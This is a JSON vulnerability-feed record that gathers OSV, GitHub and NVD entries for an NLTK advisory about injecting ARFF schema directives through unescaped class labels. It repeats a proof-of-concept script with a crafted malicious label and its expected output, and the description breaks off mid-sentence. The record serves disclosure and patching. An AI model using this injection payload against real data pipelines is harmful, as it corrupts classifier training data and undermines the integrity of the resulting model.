{"vuln_id":"GHSA-9ffx-rrgx-mhgx","aliases":["CVE-2026-129221"],"description":"NLTK: ARFF_Formatter Injects Weka ARFF Schema Directives via Attacker-Controlled Class Labels","published_at":"2026-11-19T23:54:17Z","modified_at":"2026-11-20T00:00:05.081090Z","first_seen_at":"2026-11-21T19:15:19.352551Z","severity":"medium","severity_source":"ghsa","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","cwe":["CWE-74"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":null,"epss_percentile":null,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://github.com/advisories/GHSA-9ffx-rrgx-mhgx"},"matched_alias":null,"items":[{"id":10697,"source":{"id":"osv","name":"OSV.dev"},"title":"GHSA-9ffx-rrgx-mhgx: NLTK: ARFF_Formatter Injects Weka ARFF Schema Directives via Attacker-Controlled Class Labels","summary":"NLTK: ARFF_Formatter Injects Weka ARFF Schema Directives via Attacker-Controlled Class Labels\n\n## Description\n\n### Summary\n\n`nltk.classify.weka.ARFF_Formatter` writes class labels directly into the Weka ARFF `@ATTRIBUTE '-label-' {...}` declaration without any ARFF quoting or escaping. An attacker who can contribute class labels to a training dataset can include ARFF metacharacters such as `}`, newlines, `@ATTRIBUTE`, and `@DATA` to break out of the nominal label list and inject attacker‑controlled ARFF schema and data directives.\n\nThis vulnerability is reachable in any application that calls `WekaClassifier.train()` or `ARFF_Formatter.from_train()` with attacker‑influenced training data. The victim does not need to manually edit the ARFF file; the normal training workflow writes the malformed ARFF automatically.\n\n### Technical Details\n\nThe vulnerable code path is:\n\n1. `WekaClassifier.train()` calls `ARFF_Formatter.from_train(featuresets)`.\n2. `from_train()` extracts labels from the training data and passes them to `ARFF_Formatter(labels, features)`.\n3. `header_section()` uses `\",\".join(self._labels)` directly, embedding attacker‑controlled strings into the ARFF header without sanitization.\n\nBecause the label names are not escaped, a label containing `safe}\\n@ATTRIBUTE injected NUMERIC\\n@DATA\\n0,owned\\n%` will close the label set, inject a new attribute, start a premature data section, and comment out the remaining header.\n\n### Proof of Concept\n\nThe following self‑contained Python script demonstrates the vulnerability. It requires only NLTK and does **not** need Weka to be installed, because the attack is carried out purely by generating the ARFF string.\n\n```python\nfrom nltk.classify.weka import ARFF_Formatter\n\n# Attacker‑controlled label containing ARFF metacharacters.\n# The `}` closes the label set, the `@ATTRIBUTE` injects a new attribute,\n# `@DATA` starts the data section early, and `%` comments out the rest.\nmalicious_label = \"safe}\\n@ATTRIBUTE injected NUMERIC\\n@DATA\\n0,owned\\n%\"\n\nfeaturesets = [\n    ({\"f\": \"benign\"}, \"legit\"),          # legitimate example\n    ({\"f\": \"payload\"}, malicious_label), # attacker's example\n]\n\n# NLTK builds the formatter from the training data\nformatter = ARFF_Formatter.from_train(featuresets)\n\n# Generate the ARFF string – this is what would be written to the training file\narff = formatter.format(featuresets)\n\n# Verify that the injection succeeded\nassert \"@ATTRIBUTE injected NUMERIC\" in arff, \"Injected attribute not found\"\nassert \"@DATA\\n0,owned\" in arff, \"Injected data row not found\"\n\nprint(\"=== Injected ARFF (excerpt) ===\")\nfor line in arff.splitlines()[5:12]:\n    print(line)\n```\n\nExpected output:\n\n```\n=== Injected ARFF (excerpt) ===\n@ATTRIBUTE 'f' STRING\n@ATTRIBUTE '-label-' {legit,safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n%\n```\n\nExplanation of the injection:\n\n· The label safe} closes the nominal label set {legit,safe} prematurely.\n· The following lines (@ATTRIBUTE injected NUMERIC, @DATA, 0,owned) are then parsed as legitimate ARFF directives, not as part of the label name.\n· The % at the end com\n\nAffected: PyPI:nltk\n\nFixed in: 3.10.4\n\nReferences:\nhttps://github.com/nltk/nltk/security/advisories/GHSA-9ffx-rrgx-mhgx\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-129221\nhttps://github.com/nltk/nltk/pull/3768\nhttps://github.com/nltk/nltk/commit/56031eabc1ac6e5a109cb78bb18d10e0b7589594\nhttps://github.com/nltk/nltk\nhttps://github.com/nltk/nltk/releases/tag/v3.10.4","url":"https://osv.dev/vulnerability/GHSA-9ffx-rrgx-mhgx","published_at":"2026-11-19T23:54:17Z","updated_at":"2026-11-20T00:00:05.081090Z","fetched_at":"2026-11-21T19:15:55.946112Z","severity":"medium","cvss_score":5.4,"epss":0.00439,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"nltk","vuln_id":"CVE-2026-129221","vuln_ids":["CVE-2026-129221","GHSA-9FFX-RRGX-MHGX"],"tags":["osv","pypi","fix-available"],"cluster_id":2140,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/10697","html":"https://vulnwatch.ve1ve2.com/item/10697"}},{"id":2354,"source":{"id":"ghsa","name":"GitHub Security Advisories"},"title":"GHSA-9ffx-rrgx-mhgx / CVE-2026-129221: NLTK: ARFF_Formatter Injects Weka ARFF Schema Directives via Attacker-Controlled Class Labels","summary":"NLTK: ARFF_Formatter Injects Weka ARFF Schema Directives via Attacker-Controlled Class Labels\n\n## Description\n\n### Summary\n\n`nltk.classify.weka.ARFF_Formatter` writes class labels directly into the Weka ARFF `@ATTRIBUTE '-label-' {...}` declaration without any ARFF quoting or escaping. An attacker who can contribute class labels to a training dataset can include ARFF metacharacters such as `}`, newlines, `@ATTRIBUTE`, and `@DATA` to break out of the nominal label list and inject attacker‑controlled ARFF schema and data directives.\n\nThis vulnerability is reachable in any application that calls `WekaClassifier.train()` or `ARFF_Formatter.from_train()` with attacker‑influenced training data. The victim does not need to manually edit the ARFF file; the normal training workflow writes the malformed ARFF automatically.\n\n### Technical Details\n\nThe vulnerable code path is:\n\n1. `WekaClassifier.train()` calls `ARFF_Formatter.from_train(featuresets)`.\n2. `from_train()` extracts labels from the training data and passes them to `ARFF_Formatter(labels, features)`.\n3. `header_section()` uses `\",\".join(self._labels)` directly, embedding attacker‑controlled strings into the ARFF header without sanitization.\n\nBecause the label names are not escaped, a label containing `safe}\\n@ATTRIBUTE injected NUMERIC\\n@DATA\\n0,owned\\n%` will close the label set, inject a new attribute, start a premature data section, and comment out the remaining header.\n\n### Proof of Concept\n\nThe following self‑contained Python script demonstrates the vulnerability. It requires only NLTK and does **not** need Weka to be installed, because the attack is carried out purely by generating the ARFF string.\n\n```python\nfrom nltk.classify.weka import ARFF_Formatter\n\n# Attacker‑controlled label containing ARFF metacharacters.\n# The `}` closes the label set, the `@ATTRIBUTE` injects a new attribute,\n# `@DATA` starts the data section early, and `%` comments out the rest.\nmalicious_label = \"safe}\\n@ATTRIBUTE injected NUMERIC\\n@DATA\\n0,owned\\n%\"\n\nfeaturesets = [\n    ({\"f\": \"benign\"}, \"legit\"),          # legitimate example\n    ({\"f\": \"payload\"}, malicious_label), # attacker's example\n]\n\n# NLTK builds the formatter from the training data\nformatter = ARFF_Formatter.from_train(featuresets)\n\n# Generate the ARFF string – this is what would be written to the training file\narff = formatter.format(featuresets)\n\n# Verify that the injection succeeded\nassert \"@ATTRIBUTE injected NUMERIC\" in arff, \"Injected attribute not found\"\nassert \"@DATA\\n0,owned\" in arff, \"Injected data row not found\"\n\nprint(\"=== Injected ARFF (excerpt) ===\")\nfor line in arff.splitlines()[5:12]:\n    print(line)\n```\n\nExpected output:\n\n```\n=== Injected ARFF (excerpt) ===\n@ATTRIBUTE 'f' STRING\n@ATTRIBUTE '-label-' {legit,safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n%\n```\n\nExplanation of the injection:\n\n· The label safe} closes the nominal label set {legit,safe} prematurely.\n· The following lines (@ATTRIBUTE injected NUMERIC, @DATA, 0,owned) are then parsed as legitimate ARFF directives, not as part of the label name.\n· The % at the end com\n\nAffected packages: pip:nltk\nPatched: nltk 3.10.4","url":"https://github.com/advisories/GHSA-9ffx-rrgx-mhgx","published_at":"2026-11-19T23:54:17Z","updated_at":"2026-11-19T23:54:18Z","fetched_at":"2026-11-21T19:15:18.416773Z","severity":"medium","cvss_score":5.4,"epss":0.00439,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"nltk","vuln_id":"CVE-2026-129221","vuln_ids":["CVE-2026-129221","GHSA-9FFX-RRGX-MHGX"],"tags":["ghsa","pip","CWE-74"],"cluster_id":2140,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/2354","html":"https://vulnwatch.ve1ve2.com/item/2354"}},{"id":9034,"source":{"id":"nvd","name":"NVD CVE API 2.0"},"title":"CVE-2026-129221: NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Proc…","summary":"NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. Prior to 3.10.4, nltk.classify.weka.ARFF_Formatter writes attacker-controlled class labels into the Weka ARFF @ATTRIBUTE '-label-' declaration without safely formatting the label tokens. Crafted labels can alter the generated ARFF schema or records, corrupting classifier input and causing integrity loss or processing failure. This issue is fixed in version 3.10.4.\n\nReferences:\nhttps://github.com/nltk/nltk/commit/56031eabc1ac6e5a109cb78bb18d10e0b7589594\nhttps://github.com/nltk/nltk/pull/3768\nhttps://github.com/nltk/nltk/releases/tag/v3.10.4\nhttps://github.com/nltk/nltk/security/advisories/GHSA-9ffx-rrgx-mhgx\nhttps://github.com/nltk/nltk/security/advisories/GHSA-9ffx-rrgx-mhgx","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-129221","published_at":"2026-11-19T18:18:06.953000Z","updated_at":"2026-11-19T19:17:21.367000Z","fetched_at":"2026-11-21T19:15:31.484687Z","severity":"medium","cvss_score":5.4,"epss":0.00439,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":null,"vuln_id":"CVE-2026-129221","vuln_ids":["CVE-2026-129221","GHSA-9FFX-RRGX-MHGX"],"tags":["CWE-74"],"cluster_id":847,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/9034","html":"https://vulnwatch.ve1ve2.com/item/9034"}}]}